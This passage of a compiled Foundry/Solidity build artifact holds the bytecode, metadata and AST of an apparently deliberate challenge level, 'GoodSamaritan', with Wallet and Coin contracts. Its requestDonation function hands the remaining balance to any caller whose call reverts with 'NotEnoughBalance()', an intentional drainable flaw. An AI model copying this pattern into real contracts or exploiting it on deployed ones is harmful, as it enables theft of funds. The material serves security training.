575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033","sourceMap":"1633:868:87:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1722:16;;;;;-1:-1:-1;;;;;1722:16:87;;;;;;-1:-1:-1;;;;;192:55:155;;;174:74;;162:2;147:18;1722:16:87;;;;;;;2422:77;;;;;;:::i;:::-;;:::i;:::-;;1695:20;;;;;-1:-1:-1;;;;;1695:20:87;;;2255:161;;;;;;:::i;:::-;;:::i;1976:273::-;;;;;;:::i;:::-;;:::i;2422:77::-;1848:5;;-1:-1:-1;;;;;1848:5:87;1834:10;:19;1830:68;;1876:11;;-1:-1:-1;;;1876:11:87;;;;;;;;;;;1830:68;2480:4:::1;:12:::0;;;::::1;-1:-1:-1::0;;;;;2480:12:87;;;::::1;::::0;;;::::1;::::0;;2422:77::o;2255:161::-;1848:5;;-1:-1:-1;;;;;1848:5:87;1834:10;:19;1830:68;;1876:11;;-1:-1:-1;;;1876:11:87;;;;;;;;;;;1830:68;2359:4:::1;::::0;2380:28:::1;::::0;-1:-1:-1;;;2380:28:87;;2402:4:::1;2380:28;::::0;::::1;174:74:155::0;-1:-1:-1;;;;;2359:4:87;;::::1;::::0;:13:::1;::::0;2373:5;;2359:4;;2380:13:::1;::::0;147:18:155;;2380:28:87::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2359:50;::::0;;::::1;::::0;;;;;;-1:-1:-1;;;;;1566:55:155;;;2359:50:87::1;::::0;::::1;1548:74:155::0;1638:18;;;1631:34;1521:18;;2359:50:87::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;2255:161:::0;:::o;1976:273::-;1848:5;;-1:-1:-1;;;;;1848:5:87;1834:10;:19;1830:68;;1876:11;;-1:-1:-1;;;1876:11:87;;;;;;;;;;;1830:68;2072:4:::1;::::0;:28:::1;::::0;-1:-1:-1;;;2072:28:87;;2094:4:::1;2072:28;::::0;::::1;174:74:155::0;2103:2:87::1;::::0;-1:-1:-1;;;;;2072:4:87::1;::::0;:13:::1;::::0;147:18:155;;2072:28:87::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:33;2068:175;;;2128:18;;;;;;;;;;;;;;2068:175;2208:4;::::0;:24:::1;::::0;;;;-1:-1:-1;;;;;1566:55:155;;;2208:24:87::1;::::0;::::1;1548:74:155::0;2229:2:87::1;1638:18:155::0;;;1631:34;2208:4:87;;::::1;::::0;:13:::1;::::0;1521:18:155;;2208:24:87::1;1374:297:155::0;2068:175:87::1;1976:273:::0;:::o;259:160:155:-;-1:-1:-1;;;;;344:5:155;340:54;333:5;330:65;320:93;;409:1;406;399:12;424:267;497:6;550:2;538:9;529:7;525:23;521:32;518:52;;;566:1;563;556:12;518:52;605:9;592:23;624:37;655:5;624:37;:::i;:::-;680:5;424:267;-1:-1:-1;;;424:267:155:o;1185:184::-;1255:6;1308:2;1296:9;1287:7;1283:23;1279:32;1276:52;;;1324:1;1321;1314:12;1276:52;-1:-1:-1;1347:16:155;;1185:184;-1:-1:-1;1185:184:155:o","linkReferences":{}},"methodIdentifiers":{"coin()":"11df9995","donate10(address)":"f836afce","owner()":"8da5cb5b","setCoin(address)":"82e46b75","transferRemainder(address)":"e40b8658"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"NotEnoughBalance\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"OnlyOwner\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"coin\",\"outputs\":[{\"internalType\":\"contract Coin\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"dest_\",\"type\":\"address\"}],\"name\":\"donate10\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Coin\",\"name\":\"coin_\",\"type\":\"address\"}],\"name\":\"setCoin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"dest_\",\"type\":\"address\"}],\"name\":\"transferRemainder\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GoodSamaritan.sol\":\"Wallet\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"type":"error","name":"NotEnoughBalance"},{"inputs":[],"type":"error","name":"OnlyOwner"},{"inputs":[],"stateMutability":"view","type":"function","name":"coin","outputs":[{"internalType":"contract Coin","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"dest_","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"donate10"},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"contract Coin","name":"coin_","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setCoin"},{"inputs":[{"internalType":"address","name":"dest_","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferRemainder"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GoodSamaritan.sol":"Wallet"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GoodSamaritan.sol","id":53328,"exportedSymbols":{"Address":[48259],"Coin":[53225],"GoodSamaritan":[53146],"INotifyable":[53327],"Wallet":[53321]},"nodeType":"SourceUnit","src":"32:2543:87","nodes":[{"id":53068,"nodeType":"PragmaDirective","src":"32:31:87","nodes":[],"literals":["solidity",">=","0.8",".0","<","0.9",".0"]},{"id":53069,"nodeType":"ImportDirective","src":"65:53:87","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","file":"openzeppelin-contracts-08/utils/Address.sol","nameLocation":"-1:-1:-1","scope":53328,"sourceUnit":48260,"symbolAliases":[],"unitAlias":""},{"id":53146,"nodeType":"ContractDefinition","src":"120:668:87","nodes":[{"id":53072,"nodeType":"VariableDeclaration","src":"149:20:87","nodes":[],"constant":false,"functionSelector":"521eb273","mutability":"mutable","name":"wallet","nameLocation":"163:6:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"},"typeName":{"id":53071,"nodeType":"UserDefinedTypeName","pathNode":{"id":53070,"name":"Wallet","nameLocations":["149:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"149:6:87"},"referencedDeclaration":53321,"src":"149:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"visibility":"public"},{"id":53075,"nodeType":"VariableDeclaration","src":"175:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"187:4:87","scope":53146,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53074,"nodeType":"UserDefinedTypeName","pathNode":{"id":53073,"name":"Coin","nameLocations":["175:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"175:4:87"},"referencedDeclaration":53225,"src":"175:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53103,"nodeType":"FunctionDefinition","src":"198:125:87","nodes":[],"body":{"id":53102,"nodeType":"Block","src":"212:111:87","nodes":[],"statements":[{"expression":{"id":53083,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53078,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"222:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":53081,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"231:10:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Wallet_$53321_$","typeString":"function () returns (contract Wallet)"},"typeName":{"id":53080,"nodeType":"UserDefinedTypeName","pathNode":{"id":53079,"name":"Wallet","nameLocations":["235:6:87"],"nodeType":"IdentifierPath","referencedDeclaration":53321,"src":"235:6:87"},"referencedDeclaration":53321,"src":"235:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}},"id":53082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"231:12:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"src":"222:21:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53084,"nodeType":"ExpressionStatement","src":"222:21:87"},{"expression":{"id":53094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53085,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"253:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":53091,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"277:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"269:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53089,"name":"address","nodeType":"ElementaryTypeName","src":"269:7:87","typeDescriptions":{}}},"id":53092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"269:15:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"260:8:87","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Coin_$53225_$","typeString":"function (address) returns (contract Coin)"},"typeName":{"id":53087,"nodeType":"UserDefinedTypeName","pathNode":{"id":53086,"name":"Coin","nameLocations":["264:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"264:4:87"},"referencedDeclaration":53225,"src":"264:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}},"id":53093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"260:25:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"253:32:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53095,"nodeType":"ExpressionStatement","src":"253:32:87"},{"expression":{"arguments":[{"id":53099,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53075,"src":"311:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}],"expression":{"id":53096,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"296:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"303:7:87","memberName":"setCoin","nodeType":"MemberAccess","referencedDeclaration":53320,"src":"296:14:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Coin_$53225_$returns$__$","typeString":"function (contract Coin) external"}},"id":53100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"296:20:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53101,"nodeType":"ExpressionStatement","src":"296:20:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53076,"nodeType":"ParameterList","parameters":[],"src":"209:2:87"},"returnParameters":{"id":53077,"nodeType":"ParameterList","parameters":[],"src":"212:0:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53145,"nodeType":"FunctionDefinition","src":"329:457:87","nodes":[],"body":{"id":53144,"nodeType":"Block","src":"394:392:87","nodes":[],"statements":[{"clauses":[{"block":{"id":53115,"nodeType":"Block","src":"476:36:87","statements":[{"expression":{"hexValue":"74727565","id":53113,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"497:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53107,"id":53114,"nodeType":"Return","src":"490:11:87"}]},"errorName":"","id":53116,"nodeType":"TryCatchClause","src":"476:36:87"},{"block":{"id":53141,"nodeType":"Block","src":"538:242:87","statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"hexValue":"4e6f74456e6f75676842616c616e63652829","id":53123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"590:20:87","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""},"value":"NotEnoughBalance()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ad3a8b9eaddc3d6d5c780ccaaf272bfb52ccfbe8d3a426f9902dadb4685d4a9b","typeString":"literal_string \"NotEnoughBalance()\""}],"expression":{"id":53121,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"566:3:87","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"570:19:87","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"566:23:87","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":53124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"566:45:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53120,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"556:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"556:56:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":53127,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53118,"src":"626:3:87","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53126,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"616:9:87","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"616:14:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"556:74:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53140,"nodeType":"IfStatement","src":"552:218:87","trueBody":{"id":53139,"nodeType":"Block","src":"632:138:87","statements":[{"expression":{"arguments":[{"expression":{"id":53133,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"714:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53134,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"718:6:87","memberName":"sender","nodeType":"MemberAccess","src":"714:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53130,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"689:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"696:17:87","memberName":"transferRemainder","nodeType":"MemberAccess","referencedDeclaration":53307,"src":"689:24:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"689:36:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53136,"nodeType":"ExpressionStatement","src":"689:36:87"},{"expression":{"hexValue":"66616c7365","id":53137,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"750:5:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":53107,"id":53138,"nodeType":"Return","src":"743:12:87"}]}}]},"errorName":"","id":53142,"nodeType":"TryCatchClause","parameters":{"id":53119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53118,"mutability":"mutable","name":"err","nameLocation":"533:3:87","nodeType":"VariableDeclaration","scope":53142,"src":"520:16:87","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":53117,"name":"bytes","nodeType":"ElementaryTypeName","src":"520:5:87","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"519:18:87"},"src":"513:267:87"}],"externalCall":{"arguments":[{"expression":{"id":53110,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"464:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53111,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"468:6:87","memberName":"sender","nodeType":"MemberAccess","src":"464:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53108,"name":"wallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53072,"src":"448:6:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}},"id":53109,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"455:8:87","memberName":"donate10","nodeType":"MemberAccess","referencedDeclaration":53286,"src":"448:15:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":53112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:27:87","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53143,"nodeType":"TryStatement","src":"444:336:87"}]},"functionSelector":"25143638","implemented":true,"kind":"function","modifiers":[],"name":"requestDonation","nameLocation":"338:15:87","parameters":{"id":53104,"nodeType":"ParameterList","parameters":[],"src":"353:2:87"},"returnParameters":{"id":53107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53106,"mutability":"mutable","name":"enoughBalance","nameLocation":"379:13:87","nodeType":"VariableDeclaration","scope":53145,"src":"374:18:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53105,"name":"bool","nodeType":"ElementaryTypeName","src":"374:4:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"373:20:87"},"scope":53146,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GoodSamaritan","contractDependencies":[53225,53321],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53146],"name":"GoodSamaritan","nameLocation":"129:13:87","scope":53328,"usedErrors":[],"usedEvents":[]},{"id":53225,"nodeType":"ContractDefinition","src":"790:841:87","nodes":[{"id":53149,"nodeType":"UsingForDirective","src":"810:26:87","nodes":[],"global":false,"libraryName":{"id":53147,"name":"Address","nameLocations":["816:7:87"],"nodeType":"IdentifierPath","referencedDeclaration":48259,"src":"816:7:87"},"typeName":{"id":53148,"name":"address","nodeType":"ElementaryTypeName","src":"828:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},{"id":53153,"nodeType":"VariableDeclaration","src":"842:43:87","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"877:8:87","scope":53225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":53152,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":53150,"name":"address","nodeType":"ElementaryTypeName","src":"850:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"842:27:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":53151,"name":"uint256","nodeType":"ElementaryTypeName","src":"861:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":53159,"nodeType":"ErrorDefinition","src":"892:61:87","nodes":[],"errorSelector":"cf479181","name":"InsufficientBalance","nameLocation":"898:19:87","parameters":{"id":53158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53155,"mutability":"mutable","name":"current","nameLocation":"926:7:87","nodeType":"VariableDeclaration","scope":53159,"src":"918:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53154,"name":"uint256","nodeType":"ElementaryTypeName","src":"918:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":53157,"mutability":"mutable","name":"required","nameLocation":"943:8:87","nodeType":"VariableDeclaration","scope":53159,"src":"935:16:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint25